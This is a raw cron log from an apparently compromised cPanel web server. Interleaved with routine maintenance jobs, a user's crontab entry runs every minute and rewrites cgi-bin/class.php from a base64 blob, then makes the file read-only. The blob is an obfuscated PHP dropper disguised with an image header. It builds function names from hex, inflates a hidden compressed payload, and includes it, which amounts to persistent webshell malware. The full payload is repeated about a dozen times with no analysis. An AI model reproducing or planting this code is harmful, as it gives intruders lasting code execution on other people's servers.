Nov  9 11:04:01 server CROND[12001]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:05:01 server CROND[12852]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 11:05:01 server CROND[12851]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 11:05:01 server CROND[12853]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:05:01 server CROND[12850]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 11:05:01 server CROND[12854]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov  9 11:06:01 server CROND[13740]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:07:01 server CROND[14659]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:08:01 server CROND[15478]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:09:02 server CROND[16235]: (root) CMD (/usr/sbin/csf -u)
Nov  9 11:09:02 server CROND[16236]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:09:02 server CROND[16237]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 11:10:01 server CROND[16509]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 11:10:01 server CROND[16511]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 11:10:01 server CROND[16510]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 11:10:02 server CROND[16508]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:11:01 server CROND[17365]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:12:01 server CROND[18291]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:12:01 server CROND[18292]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 11:13:01 server CROND[19124]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:14:01 server CROND[19877]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:15:01 server CROND[20738]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 11:15:01 server CROND[20739]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 11:15:01 server CROND[20740]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:16:01 server CROND[21618]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
